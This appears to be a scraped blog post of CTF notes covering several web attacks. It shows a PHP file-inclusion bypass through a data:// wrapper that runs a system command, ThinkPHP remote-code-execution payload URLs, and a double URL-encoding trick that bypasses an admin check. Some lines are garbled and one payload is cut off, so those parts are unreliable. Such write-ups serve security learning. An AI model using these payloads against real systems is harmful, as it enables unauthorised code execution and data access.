当前位置:网站首页>CTF record
CTF record
2022-07-02 11:18:00 【freshfox】
Source audit
File contains :
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post data php Code .

2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce Pay attention when exploiting vulnerabilities payload
Exploit :
payload:
see phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
View sensitive files :
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
First step , To make "admin"===$_GET[id] Don't set up
We can admin Conduct url code , Of course, you can also code one of the letters here a Encoding :%61dmin
The first practical comparison if("admin"==="%61dmin") Don't set up
1
The second step , after G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);, bring $_GET[id] == "admin" establish .
after urldecode After decoding, it becomes admin
The second practical comparison if("admin" == "admin"); establish
1
** Be careful :** When the parameter is passed in id when , The browser will be right and wrong later ASCII The character of the code is carried out once urlencode code , It will be automatically performed once when running urldecode
Because we are url Run directly in the connection , The browser will make a url decode , So we'll do it again url code , That's right admin Code twice and then run
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- The difference between self and static in PHP in methods
- mmrotate旋转目标检测框架使用记录
- VS2019代码中包含中文内容导致的编译错误和打印输出乱码问题
- Openmldb meetup No.4 meeting minutes
- Complement (Mathematical Simulation
- Compilation errors and printout garbled problems caused by Chinese content in vs2019 code
- V2x SIM dataset (Shanghai Jiaotong University & New York University)
- Is the Ren domain name valuable? Is it worth investing? What is the application scope of Ren domain name?
- Jenkins安装
- Flick two open, realized a batch lookup join (with source code)
猜你喜欢

Iii. Système de démarrage et d'horloge à puce

TIPC 寻址2
![Luogu p5536 [xr-3] core city (greed + tree DP looking for the center of the tree)](/img/dc/2aa55c9b3f23c292820a56ea72fedd.png)
Luogu p5536 [xr-3] core city (greed + tree DP looking for the center of the tree)

Creation and use of unified links in Huawei applinking
![[cloud native] 2.5 kubernetes core practice (Part 2)](/img/87/826894d758392a0c7a60dd5fa09eef.png)
[cloud native] 2.5 kubernetes core practice (Part 2)

TIPC messaging3

解决uniapp列表快速滑动页面数据空白问题

【深入浅出玩转FPGA学习2----设计技巧(基本语法)】

Use Huawei performance management service to configure the sampling rate on demand

Implement custom drawer component in quick application
随机推荐
ren域名有价值吗?值不值得投资?ren域名的应用范围有哪些?
ASTParser 解析含有emum 枚举方法的类文件的踩坑记
TIPC Service and Topology Tracking4
Astparser parsing class files with enum enumeration methods
TIPC Service and Topology Tracking4
Is the Ren domain name valuable? Is it worth investing? What is the application scope of Ren domain name?
【深入浅出玩转FPGA学习5-----复位设计】
Jenkins installation
二.Stm32f407芯片GPIO编程,寄存器操作,库函数操作和位段操作
Array splitting (regular thinking
Luogu p4281 [ahoi2008] emergency gathering / gathering (tree doubling LCA)
Functional interfaces and method references
高德根据轨迹画线
[AGC] how to solve the problem that the local display of event analysis data is inconsistent with that in AGC panel?
2022 love analysis · panoramic report of digital manufacturers of state-owned enterprises
LVM operation
flink二開,實現了個 batch lookup join(附源碼)
Huawei game failed to initialize init with error code 907135000
[ark UI] implementation of the startup page of harmonios ETS
Summary of cases of players' disconnection and reconnection in Huawei online battle service